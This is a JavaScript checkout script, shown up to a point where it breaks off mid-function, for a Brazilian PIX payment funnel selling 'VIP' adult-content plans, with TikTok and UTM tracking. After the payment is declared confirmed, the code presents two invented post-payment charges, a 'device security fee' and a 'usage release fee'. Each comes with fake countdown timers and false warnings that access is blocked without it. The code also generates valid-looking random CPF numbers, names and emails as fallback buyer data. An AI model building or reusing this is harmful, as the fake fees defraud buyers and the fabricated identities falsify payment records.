/* ============================================================
   WiinPay Checkout – Funil completo (Front + Taxa 1 + Taxa 2)
   Integração: PodPay (PIX)
   ============================================================ */
(function () {
  'use strict';

  // ── Config ────────────────────────────────────────────────
  const PLANS = {
    '30dias':    { label: '30 Dias',      value: 9.90,   combo: false },
    '3meses':    { label: '3 Meses',      value: 14.90,  combo: false },
    '1ano':      { label: '1 Ano',        value: 19.90,  combo: false },
    'vitalicio': { label: 'Vitalício',    value: 29.90,  combo: false },
    'supercombo':{ label: 'Super Combo',  value: 150.00, combo: true  },
  };

  const TAXA1 = { label: 'Tarifa de Segurança do Dispositivo', value: 6.50 };
  const TAXA2 = { label: 'Taxa de Liberação de Uso', value: 12.53 };
  const BUMP1 = { value: 7.00, label: 'Chamada de Vídeo Privada', desc: 'Sessão exclusiva de 10 min ao vivo, só nós dois', icon: 'fas fa-video', color: '#25d366' };
  const BUMP2 = { value: 7.00, label: 'Meu WhatsApp Pessoal', desc: 'Converse comigo diretamente no WhatsApp', icon: 'fas fa-comment-dots', color: '#25d366' };
  const BUMP3 = { value: 14.00, label: 'Minha Calcinha Usada', desc: 'Enviada na hora, discreta e bem molhadinha', icon: 'fas fa-gift', color: '#ff6b9d' };

  // ── Endpoints via Netlify Functions ─────────────────────
  const DUTTY_CREATE_URL = '/privacy/api_pix.php';
  const DUTTY_STATUS_URL = '/privacy/api_status.php'; // recebe ?id=transactionId

  // Pós-pagamento: enviar para upsell1 (taxa de segurança). Usa top-level p/ sair do iframe.
  const UPSELL_SLUG    = new URLSearchParams(location.search).get('m') || 'modelo';
  const REDIRECT_URL   = '/upsell1?m=' + UPSELL_SLUG;
  function gotoRedirect() {
    try { (window.top || window).location.href = REDIRECT_URL; }
    catch (e) { window.location.href = REDIRECT_URL; }
  }
  const POLL_INTERVAL  = 5000;
  const TIMER_DURATION = 299; // 4:59
  const TEST_MODE      = new URLSearchParams(window.location.search).get('test') === '1';

  // ── State ─────────────────────────────────────────────────
  let currentPlan    = null;
  let pollTimer      = null;
  let timerInterval  = null;
  let paymentId      = null;
  let userData       = { name: '', email: '' };
  let funnelStage    = 'front';
  let currentPayValue = 0;

  // ── Helpers ───────────────────────────────────────────────
  function genEventId() {
    return 'ev_' + Date.now() + '_' + Math.random().toString(36).slice(2, 9);
  }

  function getCookie(name) {
    const m = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
    return m ? decodeURIComponent(m[1]) : '';
  }

  function getFbCookies() {
    return { fbp: getCookie('_fbp') || '', fbc: getCookie('_fbc') || '' };
  }

  function firePixel(event, params, eventId) {
    /* rastreamento removido */
  }

  // ═══════════════════════════════════════════════════════
  // TIKTOK TRACKING LAYER — produção, anti-duplicação, CAPI
  // ═══════════════════════════════════════════════════════
  const TIKTOK_PIXEL_ID  = 'D832HVJC77U1Q23AB6OG';
  const TIKTOK_CAPI_URL  = '/api/public/tiktok-purchase';
  const TIKTOK_STATUS_URL = '/privacy/api_status.php';
  // PAID_STATUS_LIST: alias de PAID_STATUSES (definido abaixo no polling)
  // Usado no failsafe de reload — referência atrasada, ok pois roda após load completo

  // ── 1. Captura ttclid de qualquer storage disponível ─────
  function getTtclid() {
    try {
      return localStorage.getItem('ttclid')
          || sessionStorage.getItem('ttclid')
          || new URLSearchParams(window.location.search).get('ttclid')
          || '';
    } catch(e) { return ''; }
  }

  // ── 2. Espera ttq estar disponível antes de disparar ─────
  // Resolve race-condition: checkout.js pode rodar antes do
  // pixel externo terminar de baixar no TikTok WebView
  function withTtq(cb, retries) {
    /* rastreamento removido — ttq não é mais disparado */
  }

  // ── 3. Disparo de evento genérico (com retry) ────────────
  function fireTikTokEvent(event, props, eventId) {
    withTtq(function(ttq) {
      ttq.track(event, props || {}, eventId ? { event_id: eventId } : {});
      console.log('[TikTok] Evento:', event, JSON.stringify(props));
    });
  }

  // ── 4. Normaliza payload para garantir dados corretos ────
  function buildPixPayload(orderId, amount, label) {
    var val = parseFloat(amount);
    if (!val || isNaN(val) || val <= 0) { console.warn('[TikTok] Valor inválido:', amount); }
    return {
      content_id:   String(orderId || 'unknown'),
      content_type: 'product',
      content_name: label || 'Produto',
      value:        val || 0,
      currency:     'BRL',
      quantity:     1,
      contents: [{
        content_id:   String(orderId || 'unknown'),
        content_name: label || 'Produto',
        quantity:     1,
        price:        val || 0
      }]
    };
  }

  // ── 5. Anti-duplicação de Purchase ───────────────────────
  function isPurchaseTracked(orderId) {
    try { return !!localStorage.getItem('purchase_tracked_' + orderId); } catch(e) { return false; }
  }
  function markPurchaseTracked(orderId, evId) {
    try {
      localStorage.setItem('purchase_tracked_' + orderId, '1');
      localStorage.setItem('purchase_tracked_at_' + orderId, new Date().toISOString());
      if (evId) localStorage.setItem('tiktok_purchase_event_id_' + orderId, evId);
    } catch(e) {}
  }

  // ── 6. Salva pedido pendente (failsafe de fechamento) ────
  function savePendingOrder(orderId, amount, label) {
    try {
      var order = {
        id:        String(orderId),
        amount:    parseFloat(amount) || 0,
        label:     label || '',
        source:    'pix',
        status:    'pending',
        createdAt: new Date().toISOString(),
        ts:        Date.now()
      };
      localStorage.setItem('pending_order', JSON.stringify(order));
      console.log('[TikTok] Pedido pendente salvo:', orderId);
    } catch(e) {}
  }
  function clearPendingOrder() {
    try { localStorage.removeItem('pending_order'); } catch(e) {}
  }

  // ── 7. Purchase principal: pixel + CAPI, com guard total ─
  function trackPurchase(orderId, amount, eventId, label) {
    if (!orderId) { console.warn('[TikTok] trackPurchase chamado sem orderId'); return; }

    // Guard anti-duplicação
    if (isPurchaseTracked(orderId)) {
      console.log('[TikTok] Purchase já rastreado para', orderId, '— duplicata bloqueada');
      return;
    }

    var _evId = eventId || ('tiktok_purchase_' + orderId);
    var _val  = parseFloat(amount) || 0;

    // Marca ANTES de disparar para evitar race-condition em chamadas concorrentes
    markPurchaseTracked(orderId, _evId);
    clearPendingOrder();

    var payload = buildPixPayload(orderId, _val, label);

    // 7a. Pixel client-side (com retry para TikTok WebView)
    fireTikTokEvent('Purchase', payload, _evId);

    // 7b. Server-side CAPI (não bloqueável por ad-blocker)
    try {
      fetch(TIKTOK_CAPI_URL, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          orderId:  String(orderId),
          amount:   _val,
          currency: 'BRL',
          email:    (typeof userData !== 'undefined' && userData.email) ? userData.email : '',
          name:     (typeof userData !== 'undefined' && userData.name)  ? userData.name  : '',
          label:    label || 'Produto',
          eventId:  _evId,
          ttclid:   getTtclid(),
          ttp:      getCookie('_ttp') || '',
          url:      window.location.href
        })
      })
      .then(function(r) { return r.json(); })
      .then(function(d) { console.log('[TikTok CAPI] OK:', JSON.stringify(d)); })
      .catch(function(e) { console.warn('[TikTok CAPI] Erro:', e.message); });
    } catch(e) {}

    console.log('[TikTok] ✅ Purchase disparado. Order:', orderId, '| Valor: R$', _val);
  }

  // ── 8. Failsafe: ao carregar, verifica pedido pendente ───
  // Captura vendas onde usuário fechou antes do polling confirmar
  (function checkPendingOnLoad() {
    try {
      var raw = localStorage.getItem('pending_order');
      if (!raw) return;
      var pending = JSON.parse(raw);
      if (!pending || !pending.id) { clearPendingOrder(); return; }
      // Expira após 2 horas
      if ((Date.now() - pending.ts) > 7200000) { clearPendingOrder(); return; }
      // Já foi rastreado (ex: tab paralela)
      if (isPurchaseTracked(pending.id)) { clearPendingOrder(); return; }

      console.log('[TikTok Failsafe] Verificando pedido pendente:', pending.id);

      fetch(TIKTOK_STATUS_URL + '?id=' + encodeURIComponent(pending.id))
        .then(function(r) { return r.json(); })
        .then(function(data) {
          var status = (data && (data.paid === true ? 'paid' : (data.status || (data.raw && data.raw.status)))) || null;
          var _paid = ['paid','approved','confirmed','complete','success','PAID','APPROVED','CONFIRMED','COMPLETED','SUCCESS'];
          if (status && isPaidStatus(status)) {
            console.log('[TikTok Failsafe] ✅ Pedido confirmado após reload:', pending.id);
            trackPurchase(pending.id, pending.amount, null, pending.label);
          } else {
            console.log('[TikTok Failsafe] Pedido ainda pendente, status:', status);
          }
        })
        .catch(function(e) { console.warn('[TikTok Failsafe] Erro ao verificar status:', e.message); });
    } catch(e) {}
  })();

  // ViewContent: produto principal disponível ao carregar
  withTtq(function(ttq) {
    var _plan = (typeof PLANS !== 'undefined' && PLANS[0]) ? PLANS[0] : null;
    var _firstPlan = PLANS['30dias'];
    var _productName = document.title || 'Privacy';
    var _vcPayload = {
      content_id:   '30dias',
      content_type: 'product',
      content_name: _productName + ' - ' + (_firstPlan.label || '30 Dias'),
      value:        parseFloat(_firstPlan.value) || 0,
      currency:     'BRL',
      quantity:      1
    };
    ttq.track('ViewContent', _vcPayload);
    console.log('[TikTok] ViewContent disparado:', JSON.stringify(_vcPayload));
  });

  // Debug UTMify
  try {
    var _dbg = {};
    for (var i = 0; i < localStorage.length; i++) {
      var _k = localStorage.key(i);
      if (/^(utm_|src|sck|fbclid|gclid|gbraid|wbraid|ttclid|xcod|click_id|pixel_id|cid|lead|utm_id|keyword|CampaignID|adSETID|CreativeID)/i.test(_k)) {
        _dbg[_k] = localStorage.getItem(_k);
      }
    }
    console.log('[UTMify Debug] localStorage keys:', JSON.stringify(_dbg, null, 2));
  } catch(e) {}

  function getUtmParams() {
    // Todos os parâmetros que devem compor o campo utm enviado à PodPay
    var KEYS = [
      // UTMs padrão
      'utm_source','utm_medium','utm_campaign','utm_content','utm_term',
      // Aliases UTMify
      'src','sck','xcod',
      // Facebook / Instagram Ads
      'fbclid',
      // Google Ads
      'gclid','gbraid','wbraid',
      // TikTok Ads
      'ttclid',
      // Kwai Ads
      'click_id','CampaignID','adSETID','CreativeID','pixel_id'
    ];

    var utms = {};

    // 1. Prioridade mais baixa: localStorage (persistido entre sessões)
    KEYS.forEach(function(key) {
      try {
        var v = localStorage.getItem(key);
        if (v) utms[key] = v;
      } catch(e) {}
    });

    // 2. sessionStorage como fallback complementar
    KEYS.forEach(function(key) {
      try {
        var v = sessionStorage.getItem(key);
        if (v && !utms[key]) utms[key] = v;
      } catch(e) {}
    });

    // 3. URL atual tem prioridade máxima (sobrescreve storage se presente)
    try {
      var urlParams = new URLSearchParams(window.location.search);
      KEYS.forEach(function(key) {
        var v = urlParams.get(key);
        if (v) utms[key] = v;
      });
    } catch(e) {}

    // Normaliza aliases src <-> utm_source
    if (utms.src && !utms.utm_source) utms.utm_source = utms.src;
    if (utms.utm_source && !utms.src) utms.src = utms.utm_source;

    console.log('[UTMify Debug] getUtmParams():', JSON.stringify(utms));
    return utms;
  }

  function formatBRL(v) {
    return 'R$ ' + v.toFixed(2).replace('.', ',');
  }

  function pad(n) { return String(n).padStart(2, '0'); }

  // ── Gerador de CPF válido (fallback) ─────────────────────
  function gerarCPF() {
    var cpf = '';
    for (var i = 0; i < 9; i++) cpf += Math.floor(Math.random() * 10);
    var soma = 0;
    for (var i = 0; i < 9; i++) soma += parseInt(cpf[i]) * (10 - i);
    var r1 = soma % 11;
    var d1 = r1 < 2 ? 0 : 11 - r1;
    cpf += d1;
    soma = 0;
    for (var i = 0; i < 10; i++) soma += parseInt(cpf[i]) * (11 - i);
    var r2 = soma % 11;
    var d2 = r2 < 2 ? 0 : 11 - r2;
    cpf += d2;
    var invalidos = ['00000000000','11111111111','22222222222','33333333333','44444444444',
                     '55555555555','66666666666','77777777777','88888888888','99999999999'];
    if (invalidos.indexOf(cpf) !== -1) return gerarCPF();
    return cpf;
  }

  // Gera nome aleatório de fallback
  function gerarNomeFallback() {
    var masculinos = ['João','Pedro','Lucas','Miguel','Arthur','Gabriel','Bernardo','Rafael','Gustavo','Felipe'];
    var femininos  = ['Maria','Ana','Julia','Sofia','Isabella','Helena','Valentina','Laura','Alice','Manuela'];
    var sobrenomes = ['Silva','Santos','Oliveira','Souza','Rodrigues','Ferreira','Alves','Pereira','Lima','Gomes'];
    var genero = Math.random() < 0.5;
    var n1 = genero ? masculinos[Math.floor(Math.random()*masculinos.length)] : femininos[Math.floor(Math.random()*femininos.length)];
    var s1 = sobrenomes[Math.floor(Math.random()*sobrenomes.length)];
    var s2 = sobrenomes[Math.floor(Math.random()*sobrenomes.length)];
    return n1 + ' ' + s1 + ' ' + s2;
  }

  // Gera e-mail baseado no nome de fallback
  function gerarEmailDoNome(nome) {
    var n = nome.normalize('NFD').replace(/[\u0300-\u036f]/g,'').replace(/[^a-zA-Z0-9\s]/g,'').toLowerCase().trim().replace(/\s+/g,'.');
    return (n || 'cliente') + '@gmail.com';
  }

  // ── CSS ───────────────────────────────────────────────────
  const style = document.createElement('style');
  style.textContent = `
    .wp-overlay{position:fixed;inset:0;background:rgba(0,0,0,.85);z-index:99999;display:none;align-items:center;justify-content:center;padding:1rem;font-family:'Montserrat',system-ui,sans-serif}
    .wp-overlay.active{display:flex}
    .wp-modal{background:#fff;border-radius:16px;width:100%;max-width:420px;max-height:90vh;overflow-y:auto;position:relative;animation:wpFadeIn .3s ease}
    @keyframes wpFadeIn{from{opacity:0;transform:translateY(-12px)}to{opacity:1;transform:translateY(0)}}
    .wp-close{position:absolute;top:12px;right:14px;background:rgba(0,0,0,.08);border:none;width:32px;height:32px;border-radius:50%;font-size:18px;cursor:pointer;display:grid;place-items:center;color:#333;z-index:2}
    .wp-close:hover{background:rgba(0,0,0,.15)}
    .wp-header{background:linear-gradient(135deg,#ff6b3d,#ff8f5f);color:#fff;padding:24px 20px 18px;border-radius:16px 16px 0 0;text-align:center}
    .wp-header.red{background:linear-gradient(135deg,#dc2626,#ef4444)}
    .wp-header.wpp-green{background:linear-gradient(135deg,#25d366,#4ade80)}
    .wp-header.pink{background:linear-gradient(135deg,#e91e8c,#ff6bb5)}
    .wp-header.red-flat{background:linear-gradient(135deg,#dc2626,#ef4444);border-radius:0}
    .wp-header.green{background:linear-gradient(135deg,#10b981,#34d399)}
    .wp-header h2{font-size:18px;font-weight:700;margin:0 0 4px}
    .wp-header p{font-size:14px;opacity:.9;margin:0}
    .wp-body{padding:20px}
    .wp-field{margin-bottom:14px}
    .wp-field label{display:block;font-size:13px;font-weight:600;color:#333;margin-bottom:5px}
    .wp-field input[type="text"],.wp-field input[type="email"],.wp-field input[type="tel"]{width:100%;padding:12px 14px;border:1px solid #ddd;border-radius:10px;font-size:15px;font-family:inherit;outline:none;transition:border .2s;box-sizing:border-box}
    .wp-field input:focus{border-color:#ff6b3d}
    .wp-btn{width:100%;padding:14px;border:none;border-radius:12px;font-size:16px;font-weight:700;cursor:pointer;font-family:inherit;transition:all .2s;display:flex;align-items:center;justify-content:center;gap:8px}
    .wp-btn-primary{background:linear-gradient(135deg,#ff6b3d,#ff8f5f);color:#fff;box-shadow:0 4px 12px rgba(255,107,61,.3)}
    .wp-btn-primary:hover{transform:translateY(-1px);box-shadow:0 6px 16px rgba(255,107,61,.4)}
    .wp-btn-primary:disabled{opacity:.6;cursor:not-allowed;transform:none}
    .wp-btn-danger{background:linear-gradient(135deg,#dc2626,#ef4444);color:#fff;box-shadow:0 4px 12px rgba(220,38,38,.3)}
    .wp-btn-danger:hover{transform:translateY(-1px)}
    .wp-btn-danger:disabled{opacity:.6;cursor:not-allowed;transform:none}
    .wp-header.pink-flat{background:linear-gradient(135deg,#e91e8c,#ff6bb5);border-radius:0}
    .wp-btn-pink{background:linear-gradient(135deg,#e91e8c,#ff6bb5);color:#fff;box-shadow:0 4px 12px rgba(233,30,140,.3)}
    .wp-btn-pink:hover{transform:translateY(-1px)}
    .wp-btn-pink:disabled{opacity:.6;cursor:not-allowed;transform:none}
    .green-zone .wp-header.red-flat{background:linear-gradient(135deg,#25d366,#4ade80);border-radius:0}
    .green-zone .wp-taxa-price{color:#25d366}
    .green-zone .wp-taxa-warn{background:#f0fdf4;border-color:#86efac;color:#25d366}
    .green-zone .wp-bump{background:linear-gradient(135deg,#f0fdf4,#dcfce7);border-color:#25d366}
    .green-zone .wp-bump:hover{background:#dcfce7}
    .green-zone .wp-bump.checked{background:#dcfce7;border-style:solid}
    .green-zone .wp-bump-badge{background:#25d366}
    .green-zone .wp-bump-price{color:#25d366}
    .green-zone .wp-bump input[type="checkbox"]{accent-color:#25d366}
    .green-zone .wp-timer span{color:#25d366}
    .green-zone .wp-btn-danger{background:linear-gradient(135deg,#25d366,#4ade80);box-shadow:0 4px 12px rgba(37,211,102,.3)}
    .pink-zone .wp-taxa-price{color:#e91e8c}
    .pink-zone .wp-taxa-warn{background:#fdf2f8;border-color:#f9a8d4;color:#e91e8c}
    .pink-zone .wp-bump{background:linear-gradient(135deg,#fdf2f8,#fce7f3);border-color:#e91e8c}
    .pink-zone .wp-bump:hover{background:#fce7f3}
    .pink-zone .wp-bump.checked{background:#fce7f3;border-style:solid}
    .pink-zone .wp-bump-badge{background:#e91e8c}
    .pink-zone .wp-bump-price{color:#e91e8c}
    .pink-zone .wp-bump input[type="checkbox"]{accent-color:#e91e8c}
    .pink-zone .wp-timer span{color:#e91e8c}
    .wp-btn-success{background:linear-gradient(135deg,#10b981,#34d399);color:#fff;box-shadow:0 4px 12px rgba(16,185,129,.3)}
    .wp-btn-success:hover{transform:translateY(-1px);box-shadow:0 6px 16px rgba(16,185,129,.4)}
    .wp-btn-copy{background:#f3f4f6;color:#333;margin-top:10px;font-size:14px}
    .wp-btn-copy:hover{background:#e5e7eb}
    .wp-plan-tag{display:inline-block;background:rgba(255,255,255,.2);padding:4px 12px;border-radius:999px;font-size:13px;font-weight:600;margin-top:6px}
    .wp-divider{height:1px;background:#eee;margin:16px 0}
    .wp-error{background:#fef2f2;color:#dc2626;padding:10px 14px;border-radius:8px;font-size:13px;margin-bottom:14px;display:none}
    .wp-error.show{display:block}
    .wp-qr-wrap{display:flex;justify-content:center;align-items:center;padding:10px 0}
    .wp-qr-wrap img{max-width:220px;width:220px;height:220px;border-radius:8px;border:2px solid #eee;margin:0 auto;display:block}
    .wp-pix-code{background:#f9fafb;border:1px solid #e5e7eb;border-radius:10px;padding:12px;font-size:11px;word-break:break-all;color:#374151;margin-top:12px;text-align:center;line-height:1.4;max-height:70px;overflow-y:auto}
    .wp-status{display:flex;justify-content:center;align-items:center;padding:12px 0;text-align:center}
    .wp-status .waiting{color:#f59e0b;font-size:14px;font-weight:600;display:flex;align-items:center;justify-content:center;gap:8px}
    .wp-spinner{display:inline-block;width:16px;height:16px;border:2px solid rgba(245,158,11,.3);border-top-color:#f59e0b;border-radius:50%;animation:wpSpin .6s linear infinite;flex-shrink:0}
    .wp-spinner-white{border:2px solid rgba(255,255,255,.3);border-top-color:#fff}
    @keyframes wpSpin{to{transform:rotate(360deg)}}
    .wp-trust{display:flex;justify-content:center;gap:16px;margin-top:14px;font-size:11px;color:#6b7280}
    .wp-trust i{color:#10b981;margin-right:4px}
    .wp-step{display:none}
    .wp-step.active{display:block}
    .wp-success-icon{font-size:48px;color:#fff;margin-bottom:10px}
    .wp-timer{background:#1a1a2e;color:#fff;text-align:center;padding:10px;font-size:13px;font-weight:600;border-radius:16px 16px 0 0}
    .wp-timer span{color:#ff6b3d;font-weight:800;font-size:15px}
    .wp-bump{background:linear-gradient(135deg,#fff8f0,#fff3e8);border:2px dashed #ff6b3d;border-radius:12px;padding:14px;margin:14px 0;cursor:pointer;transition:all .2s;position:relative}
    .wp-bump:hover{background:#fff0e6}
    .wp-bump.checked{border-style:solid;background:#fff0e6}
    .wp-bump-badge{position:absolute;top:-10px;left:14px;background:#ff6b3d;color:#fff;font-size:10px;font-weight:700;padding:2px 10px;border-radius:999px;text-transform:uppercase;letter-spacing:.5px}
    .wp-bump-inner{display:flex;align-items:center;gap:10px}
    .wp-bump input[type="checkbox"]{width:20px;height:20px;accent-color:#ff6b3d;pointer-events:none;flex-shrink:0}
    .wp-bump-text{flex:1}
    .wp-bump-title{font-size:14px;font-weight:700;color:#333}
    .wp-bump-price{font-size:13px;color:#ff6b3d;font-weight:600;margin-top:2px}
    .wp-bump-desc{font-size:11px;color:#6b7280;margin-top:2px}
    .wp-taxa-body{padding:20px}
    .wp-taxa-text{font-size:13px;color:#555;line-height:1.6;margin-bottom:14px}
    .wp-taxa-text strong{color:#222}
    .wp-taxa-list{list-style:none;padding:0;margin:10px 0 16px}
    .wp-taxa-list li{font-size:13px;color:#374151;padding:5px 0;padding-left:24px;position:relative}
    .wp-taxa-list li:before{content:"✓";position:absolute;left:0;color:#10b981;font-weight:700;font-size:14px}
    .wp-taxa-price{text-align:center;font-size:28px;font-weight:800;color:#dc2626;margin:8px 0}
    .wp-taxa-warn{background:#fef2f2;border:1px solid #fecaca;border-radius:8px;padding:10px;font-size:12px;color:#dc2626;text-align:center;margin:12px 0;font-weight:600}
    .wp-total{text-align:center;font-size:13px;color:#6b7280;margin-bottom:14px}
    .wp-total strong{color:#333;font-size:16px}
    .wp-field-hint{font-size:11px;color:#9ca3af;margin-top:3px}
  `;
  document.head.appendChild(style);

  // ── HTML ──────────────────────────────────────────────────
  const overlay = document.createElement('div');
  overlay.className = 'wp-overlay';
  overlay.id = 'wpOverlay';
  overlay.innerHTML = `
    <div class="wp-modal">
      <button class="wp-close" id="wpClose" title="Fechar">&times;</button>

      <!-- STEP: Formulário -->
      <div class="wp-step active" id="stepForm">
        <div class="wp-header">
          <h2>Pagamento via PIX</h2>
          <p>Preencha seus dados para gerar o PIX</p>
          <div class="wp-plan-tag" id="wpPlanTag"></div>
        </div>
        <div class="wp-body">
          <div class="wp-error" id="wpError"></div>
          <div class="wp-field">
            <label for="wpName">Nome completo</label>
            <input type="text" id="wpName" placeholder="Seu nome e sobrenome" autocomplete="name">
          </div>
          <div class="wp-field">
            <label for="wpEmail">E-mail</label>
            <input type="email" id="wpEmail" placeholder="seu@email.com" autocomplete="email">
          </div>

          <div class="wp-total" id="wpTotalFront"></div>
          <button class="wp-btn wp-btn-primary" id="wpGenerate"><i class="fas fa-qrcode"></i> Gerar PIX</button>
          <div class="wp-trust">
            <span><i class="fas fa-lock"></i> Pagamento seguro</span>
            <span><i class="fas fa-shield-alt"></i> Dados protegidos</span>
          </div>
        </div>
      </div>

      <!-- STEP: QR Code -->
      <div class="wp-step" id="stepQR">
        <div class="wp-header" id="qrHeader">
          <h2>Escaneie o QR Code</h2>
          <p>Ou copie o código PIX abaixo</p>
          <div class="wp-plan-tag" id="qrTag"></div>
        </div>
        <div class="wp-body">
          <div class="wp-qr-wrap">
            <img id="wpQrImg" src="" alt="QR Code PIX">
          </div>
          <div class="wp-pix-code" id="wpPixCode"></div>
          <button class="wp-btn wp-btn-copy" id="wpCopy"><i class="fas fa-copy"></i> Copiar código PIX</button>
          <div class="wp-divider"></div>
          <div class="wp-status">
            <span class="waiting" id="wpWaiting"><span class="wp-spinner"></span> Aguardando pagamento...</span>
          </div>
          <div class="wp-trust">
            <span><i class="fas fa-lock"></i> Pagamento seguro</span>
            <span><i class="fas fa-bolt"></i> Confirmação automática</span>
          </div>
        </div>
      </div>

      <!-- STEP: Taxa 1 -->
      <div class="wp-step green-zone" id="stepTaxa1">
        <div class="wp-timer"><i class="fas fa-clock"></i> Tempo restante para liberação: <span id="wpTimer1">04:59</span></div>
        <div class="wp-header red-flat">
          <h2><i class="fas fa-shield-alt"></i> Verificação Obrigatória</h2>
          <p>Tarifa de Segurança do Dispositivo</p>
        </div>
        <div class="wp-taxa-body">
          <div class="wp-taxa-text">
            Seu pagamento foi <strong>confirmado com sucesso</strong>!
            <br><br>
            Para garantir a <strong>segurança e exclusividade</strong> do conteúdo, precisamos verificar seu dispositivo. Essa tarifa impede acessos não autorizados e protege contra vazamentos.
          </div>
          <ul class="wp-taxa-list">
            <li>Vincula seu dispositivo ao acesso VIP</li>
            <li>Protege contra clonagem e vazamento</li>
            <li>Verificação instantânea e automática</li>
          </ul>
          <div class="wp-taxa-price">${formatBRL(TAXA1.value)}</div>
          <div class="wp-taxa-warn"><i class="fas fa-exclamation-triangle"></i> Sem esta verificação, seu acesso não será liberado.</div>
          <div class="wp-total" id="wpTotalTaxa1"></div>
          <button class="wp-btn wp-btn-danger" id="wpPayTaxa1"><i class="fas fa-lock"></i> Liberar dispositivo por ${formatBRL(TAXA1.value)}</button>
          <div class="wp-trust">
            <span><i class="fas fa-lock"></i> Pagamento seguro</span>
            <span><i class="fas fa-shield-alt"></i> Dados protegidos</span>
          </div>
        </div>
      </div>

      <!-- STEP: Taxa 2 -->
      <div class="wp-step pink-zone" id="stepTaxa2">
        <div class="wp-timer"><i class="fas fa-clock"></i> Tempo restante: <span id="wpTimer2">04:59</span></div>
        <div class="wp-header pink-flat">
          <h2><i class="fas fa-download"></i> Última Etapa</h2>
          <p>Taxa de Liberação de Uso</p>
        </div>
        <div class="wp-taxa-body">
          <div class="wp-taxa-text">
            Dispositivo <strong>verificado com sucesso</strong>!
            <br><br>
            Esta é a <strong>última etapa</strong> e o <strong>último pagamento</strong>. A Taxa de Liberação de Uso garante seu direito de acessar e baixar todo o conteúdo exclusivo do canal VIP.
          </div>
          <ul class="wp-taxa-list">
            <li>Liberação completa de downloads</li>
            <li>Acesso sem restrições ao conteúdo</li>
            <li>Direito de uso pessoal das mídias</li>
          </ul>
          <div class="wp-taxa-price">${formatBRL(TAXA2.value)}</div>
          <div class="wp-taxa-warn"><i class="fas fa-exclamation-triangle"></i> Esta é a última etapa. Após isso, acesso total liberado.</div>
          <div class="wp-total" id="wpTotalTaxa2"></div>
          <button class="wp-btn wp-btn-pink" id="wpPayTaxa2">Ativar liberação de uso ✅</button>
          <div class="wp-trust">
            <span><i class="fas fa-lock"></i> Pagamento seguro</span>
            <span><i class="fas fa-shield-alt"></i> Dados protegidos</span>
          </div>
        </div>
      </div>

      <!-- STEP: Retomar -->
      <div class="wp-step" id="stepResume">
        <div class="wp-header">
          <h2><i class="fas fa-clock"></i> Pagamento em andamento</h2>
          <p>Você já começou esse pagamento</p>
        </div>
        <div class="wp-body" style="text-align:center">
          <div id="wpResumeProgress" style="text-align:left;margin-bottom:18px;font-size:14px"></div>
          <p style="font-size:13px;color:#6b7280;margin-bottom:6px">Próxima etapa:</p>
          <p id="wpResumeStage" style="font-size:17px;font-weight:700;color:#ff6b3d;margin-bottom:20px"></p>
          <button class="wp-btn wp-btn-primary" id="wpResumeContinue" style="margin-bottom:10px"><i class="fas fa-arrow-right"></i> Continuar de onde parei</button>
          <button class="wp-btn wp-btn-copy" id="wpResumeRestart" style="font-size:12px;color:#9ca3af">Cancelar e começar do zero</button>
        </div>
      </div>

      <!-- STEP: Sucesso -->
      <div class="wp-step" id="stepSuccess">
        <div class="wp-header green">
          <div class="wp-success-icon"><i class="fas fa-check-circle"></i></div>
          <h2>Acesso Liberado!</h2>
          <p>Todas as verificações foram concluídas</p>
        </div>
        <div class="wp-body" style="text-align:center">
          <p style="font-size:14px;color:#374151;margin-bottom:16px">Parabéns! Seu acesso completo está liberado. Clique no botão abaixo para entrar no grupo VIP.</p>
          <button class="wp-btn wp-btn-success" id="wpRedirect"><i class="fas fa-paper-plane"></i> Entrar no Grupo VIP</button>
        </div>
      </div>
    </div>
  `;
  document.body.appendChild(overlay);

  // ── Elementos ─────────────────────────────────────────────
  const $ = id => document.getElementById(id);
  const $overlay = $('wpOverlay');
  const steps = {
    form: $('stepForm'), qr: $('stepQR'),
    taxa1: $('stepTaxa1'), taxa2: $('stepTaxa2'),
    success: $('stepSuccess'), resume: $('stepResume')
  };
  const allSteps = Object.values(steps);



  // ── Timers ────────────────────────────────────────────────
  function startUrgencyTimer(spanId) {
    if (timerInterval) clearInterval(timerInterval);
    let secs = TIMER_DURATION;
    const el = $(spanId);
    if (el) el.textContent = '04:59';
    timerInterval = setInterval(function() {
      if (secs > 0) secs--;
      if (el) el.textContent = pad(Math.floor(secs / 60)) + ':' + pad(secs % 60);
    }, 1000);
  }

  function stopUrgencyTimer() {
    if (timerInterval) { clearInterval(timerInterval); timerInterval = null; }
  }

  function showStep(name) {
    allSteps.forEach(s => s.classList.remove('active'));
    steps[name].classList.add('active');
    steps[name].closest('.wp-modal').scrollTop = 0;
    if (name === 'taxa1') startUrgencyTimer('wpTimer1');
    else if (name === 'taxa2') startUrgencyTimer('wpTimer2');
    else stopUrgencyTimer();
  }

  function showError(msg) {
    const el = $('wpError');
    el.textContent = msg;
    el.classList.add('show');
  }
  function hideError() { $('wpError').classList.remove('show'); }

  function updateTotal(elementId, base, checkboxId, bumpValue) {
    const bump = $(checkboxId).checked ? bumpValue : 0;
    const total = base + bump;
    $(elementId).innerHTML = 'Total: <strong>' + formatBRL(total) + '</strong>';
    return total;
  }

  // ── Abrir modal ──────────────────────────────────────────
  function openModal(planKey) {
    if (pollTimer) { clearInterval(pollTimer); pollTimer = null; }
    stopUrgencyTimer();
    const plan = PLANS[planKey] || PLANS['30dias'];
    currentPlan = { ...plan, key: planKey };
    funnelStage = 'front';
    userData = { name: '', email: '' };

    $('wpPlanTag').textContent = plan.label + ' — ' + formatBRL(plan.value);
    $('wpName').value = '';
    $('wpEmail').value = '';
    $('wpTotalFront').style.display = plan.combo ? 'none' : '';
    hideError();
    showStep('form');
    $overlay.classList.add('active');
    document.body.style.overflow = 'hidden';

    const _icEventId = genEventId();
    firePixel('InitiateCheckout', { content_name: plan.label, value: plan.value, currency: 'BRL' }, _icEventId);
    try { fetch('/api/track', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ type: 'checkout_open', slug: UPSELL_SLUG }), keepalive: true }).catch(function () {}); } catch (e) {}
    // InitiateCheckout: guard por sessão para evitar múltiplos disparos
    var _icKey = 'ic_fired_' + (plan.id || plan.label || 'plan');
    if (!sessionStorage.getItem(_icKey)) {
      sessionStorage.setItem(_icKey, '1');
      fireTikTokEvent('InitiateCheckout', buildPixPayload(plan.id || 'isadoravale', plan.value, plan.label), _icEventId);
    }
  }

  function closeModal() {
    $overlay.classList.remove('active');
    document.body.style.overflow = '';
